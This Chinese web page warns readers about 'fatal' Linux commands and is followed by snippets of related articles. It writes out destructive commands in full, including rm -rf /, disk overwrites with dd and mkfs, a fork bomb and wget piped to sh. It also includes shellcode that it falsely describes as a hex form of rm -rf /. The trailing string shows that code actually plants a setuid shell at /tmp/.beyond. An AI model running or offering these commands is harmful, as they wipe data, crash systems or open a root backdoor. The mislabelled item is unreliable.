以下是致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
3. mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
4. : (){ :|:& };:著名的 fork 炸 弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。其实是定义了一个函数并调用:定义函数“:”:() { # 制造一个管道递归调用函数“:”本身,放到后台 : | : & }
5. any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
6. wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。
7. mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
8. chmod -R (随便什么) / 直接导致ubuntu挂掉
9.rm -rf / tmp 这会导致你死的很难看……
10. dd if=/dev/zero of=/dev/sda bs=120G count=1
11. cat /dev/null > /dev/sda
12. chown -R someone /
13. chmod 7777 -R / (不死也搞你个浑身抢眼)
14. sudo apt-get remove glibc
15. find / -name XXX | xargs rm -rf
分享到:
相关推荐
### 7 个致命的 Linux 命令 在 Linux 操作系统中,存在一些非常危险的命令,这些命令一旦被误用或恶意利用,可能会对系统造成不可逆转的损害。下面详细介绍这七个命令及其潜在的风险。 #### 1. `rm -rf /` **命令...
以下是几条可致命的 Linux 命令,作为 Linux 系统工程师,我们需要了解这些命令的危险性,并避免在实际操作中使用它们。 1. rm -rf / 命令 rm -rf / 命令将递归并强制删除 / 目录下的所有文件。这意味着,如果你...
### 致命的7个Linux命令详解 #### 1. `rm -rf /` 这个命令是许多Linux用户的噩梦。`rm` 是用于删除文件的命令,而 `-rf` 参数组合意味着强制递归删除文件及目录。当你在命令行输入 `rm -rf /` 并回车时,它会立即...
Linux 操作系统中,popen 函数是一个常用的函数,用于执行 shell 命令并得到执行结果。然而,Linux 库提供的 popen 函数却有两个致命的缺陷。本文将分析这两个缺陷产生的原因,并给出改造方案。 popen 函数的使用...
### 测试基础知识详解 ...综上所述,软件测试是保证软件质量的关键环节,而 Linux 命令、Python 编程语言以及 Monkey 工具则是进行高效测试不可或缺的技能。了解这些基础知识和技术,有助于更好地开展软件测试工作。
### 关于Linux Bash致命漏洞的情况及预防措施 #### 漏洞概述 近期,一个被称为比“心脏出血”(Heartbleed)更为严重的Linux安全漏洞——Bash漏洞被公开披露。这一漏洞存在于广泛使用的Bash shell中,允许攻击者...
E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...
正常结束通常是通过`exit()`或`_exit()`函数实现的,而异常终止则可能是因为接收到致命信号(如SIGKILL)。进程终止后,内核会清理该进程的所有资源,并释放其`task_struct`结构体。 #### 十、中断Linux Linux内核...
E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...
如果不是中断错误,则视为致命错误,跳出循环。 ##### 9. 关闭文件描述符 ```c close(from_fd); close(to_fd); ``` 最后,确保关闭打开的文件描述符,释放资源。 #### 三、总结 通过上述分析,我们可以看到这段...
Linux Kernel Panic 是一种致命的错误状态,发生这种情况时,系统将无法继续运行,并且可能会导致数据丢失或系统崩溃。Kernel Panic 大致可以分为三种情况:oops、死锁和应用程序系统调用长时间没有返回。 Oops ...
总结来说,Linux下管理员强制踢出用户主要涉及`w`和`pkill`两个命令。`w`用于获取用户登录信息,`pkill`配合`-kill`和`-t`选项用于发送信号强制结束指定终端上的用户会话。通过熟练掌握这些命令,管理员可以有效地...
E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...
"Linux修改ip配置文件" Linux操作系统中,IP配置文件是网络配置的核心文件之一。通过修改这个文件,可以永久改变IP地址。下面将详细介绍如何修改Linux中的IP配置文件。 第一步:进入配置文件所在目录 在Linux...
例如,使用ps命令会看到每个线程作为一个单独的进程显示,而不是一个进程内的多个线程。 Linuxthreads通过一个管理线程来解决线程退出时的资源清理问题。当线程退出时,管理线程接收到SIGUSER1信号,并检查子线程的...
启动`rstatd`服务的方法也会因系统而异,但在大多数Linux发行版中,可以通过以下命令启动服务: ```bash sudo service rstatd start ``` 或者如果是Systemd的系统,可以使用: ```bash sudo systemctl start ...
E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...
当使用不支持的SCSI设备类型或命令时,可能会触发内核恐慌,因为系统可能无法正确处理这些设备,导致命令错误。另外,通过设置选项,可以启用或禁用SCSI卡,并要求驱动程序在系统过热时调用panic函数,以避免因温度...
在给定的文件描述中,出错内容提到了`c/_cffi_backend.c:15:17: 致命错误:ffi.h:没有那个文件或目录`,这是一个典型的编译错误,表明在尝试安装某个Python模块(如cffi)时,编译过程找不到`ffi.h`头文件,而这个...